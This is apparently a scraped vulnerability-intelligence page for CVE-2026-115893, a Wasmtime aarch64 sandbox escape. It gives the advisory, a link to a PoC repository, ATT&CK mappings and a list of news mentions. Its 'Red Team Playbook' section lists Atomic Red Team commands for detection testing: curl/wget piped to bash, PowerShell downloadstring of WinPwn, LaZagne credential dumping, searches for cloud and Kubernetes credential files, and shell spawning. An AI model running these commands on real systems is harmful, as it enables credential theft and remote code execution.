CVE-2026-115893
Vulnerability Description
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
shreyas-malhotra/CVE-2026-115893-wasmtime-sandbox-escape
CVE-2026-115893: full Wasmtime aarch64 Cranelift br_table sandbox-escape public exploit, PoV, calibration notes, and ver...
|
shreyas-malhotra | 0 | 0 | 2026-10-27 | View |
Threat Feed
4 eventsProof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-29 | Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions |
35%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (19)
19 mentions from 11 sources in the last 7 days BuzzFactor 70 / 100
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code github.com ideator-labs 2026-10-27 14:25 UTCideator-labs/wasmtime-sweepOpen source
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news rescana.com 2026-10-27 11:47 UTCSupermicro BMC/IPMI Firmware Flaws (CVE-2026-18450 Critical): Patch Now for Hosting and Colocation Fleets (October 2026) - RescanaOpen source
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social infosec.exchange @beyondmachines1 2026-10-27 10:01 UTCWasmtime Patches Critical Sandbox Escape Flaws in Cranelift Compiler Wasmtime fixed two critical vulnerabilities (CVE-2026-115889 and CVE-2026-115893) that allow malicious WebAssembly modules to escape their sandboxes and execute arbitrary…Open source
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code github.com shreyas-malhotra 2026-10-27 09:14 UTCshreyas-malhotra/CVE-2026-115893-wasmtime-sandbox-escapeOpen source
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advisory socradar.io 2026-10-27 07:29 UTCWasmtime Sandbox Escape Flaws Patched in Cranelift - SOCRadarOpen source
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news rescana.com 2026-10-27 07:11 UTCDreamHost Resets Some Email and FTP/SFTP Passwords as a Precaution During Ongoing Incident (October 2026) - RescanaOpen source
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news rescana.com 2026-10-27 06:59 UTCGenesys Discloses Breach of Internal LMS and CRM Systems; Genesys Cloud and Engage Not Compromised (October 2026) - RescanaOpen source
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social mastodon.social @hacksgr 2026-10-26 22:17 UTCTwo severe security flaws, each rated 9.9 out of 10, have been discovered in the Wasmtime WebAssembly runtime. Both bugs reside in Cranelift, the default compiler used by Wasmtime. CVE-2026-115889 affects all processor architectures, while…Open source
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news secnews.gr 2026-10-26 14:20 UTCWasmtime: Critical sandbox escape vulnerabilities - SecNews.grOpen source
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social bsky.app @newssecia.bsky.social 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift flaws let a crafted Wasm module escape the sandbox. CVE-2026-115889 (SSA index bit-packing overflow → miscompilation) and CVE-2026-115893 (aarch64 br_table). Patched in 36.0.19 / 43.0.0. https://github.co…Open source
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social infosec.exchange @cloud 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift bugs let a crafted Wasm module escape the sandbox. CVE-2026-115889 — SSA value index bit-packing silently overflows in release builds, causing miscompilation and type confusion. CVE-2026-115893 — aarch64…Open source
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social bsky.app @undercodenews.bsky.social 2026-10-26 12:56 UTCTwo Critical Wasmtime Vulnerabilities Rated CVSS 99 Could Allow WebAssembly Sandbox Escapes Across Multiple Architectures + Video Two critical vulnerabilities in Wasmtime, a widely used WebAssembly runtime, could allow malicious WebAssembl…Open source
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news thehackernews.com 2026-10-26 11:52 UTCTwo Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes - The Hacker NewsOpen source
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social bsky.app @stackflag.bsky.social 2026-10-24 02:10 UTCCVE-2026-115893 - wasmtime The Wasmtime WebAssembly runtime on aarch64 processors could miscompile a program instruction that has more than about 256,000 jump targets, causing it to jump to an… Too many irrelevant or confusing CVEs? Use st…Open source
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social bsky.app @stemshop.bsky.social 2026-10-24 02:07 UTC🚨 CVE-2026-115893 — CVSS 9.9 CRITICAL Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend... 🔎 https://stemshop.top/cve/CVE-2026-115893 #CVE #CyberSecurity #InfoSecOpen source
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social bsky.app @offseq.bsky.social 2026-10-24 01:30 UTCCRITICAL wasmtime vuln (CVE-2026-115893) on aarch64: sandbox escape via br_table flaw enables arbitrary code execution. Upgrade to 36.0.19, 48.0.7, or 49.0.4+ ASAP. https://radar.offseq.com/threat/cve-2026-115893-cwe-691-insufficient-contr…Open source
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social infosec.exchange @offseq 2026-10-24 01:30 UTCCVE-2026-115893 (CRITICAL, CVSS 9.9) in wasmtime on aarch64 lets user-controlled Wasm modules escape the sandbox via Cranelift's br_table handling. Patch with 36.0.19, 48.0.7, or 49.0.4+. Details: https://radar.offseq.com/threat/cve-2026-1…Open source
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social bsky.app @thehackerwire.bsky.social 2026-10-23 23:18 UTC🔴 CVE-2026-115893 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compil... https://www.thehackerwire.com/vulnerability/CVE-2026-115893/ #infosec #cybersecurity #CVE #vulnerabilit…Open source
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social mastodon.social @115755483699003887 2026-10-23 23:18 UTC🔴 CVE-2026-115893 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets…Open source